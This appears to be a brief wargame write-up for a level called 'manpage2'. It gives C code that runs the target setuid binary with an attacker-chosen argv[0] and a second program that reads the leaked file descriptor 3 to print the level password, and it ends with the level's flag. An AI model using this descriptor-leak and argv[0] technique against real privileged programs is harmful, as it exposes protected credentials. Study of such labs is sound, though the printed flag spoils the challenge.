in this level we can exploit the fact it leaves the file open, and also we can execute our code using the last line that reruns the file, with excel.

#include<stdio.h>
#include<unistd.h>

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }

    char *pathname = "/manpage/manpage2";
    char *new_argv[] = {argv[1], NULL};
    execv(pathname, new_argv);

    return 0;
}
// gcc -m32 level2.c -o level2

#include<stdio.h>

int main(){
    int fd = 3;
    char pass[32];

    if(lseek(fd, 0, 0) == -1){
        printf("Error: lseek failed\n");
        return 1;
    }
    if(read(fd, pass, 32) == -1){
        printf("Error: read failed\n");
        return 1;
    }

    printf("Password: %s\n", pass);
    return 0;
}
// gcc -m32 read_pass.c -o read_pass

Flag: uAcGloJt0Q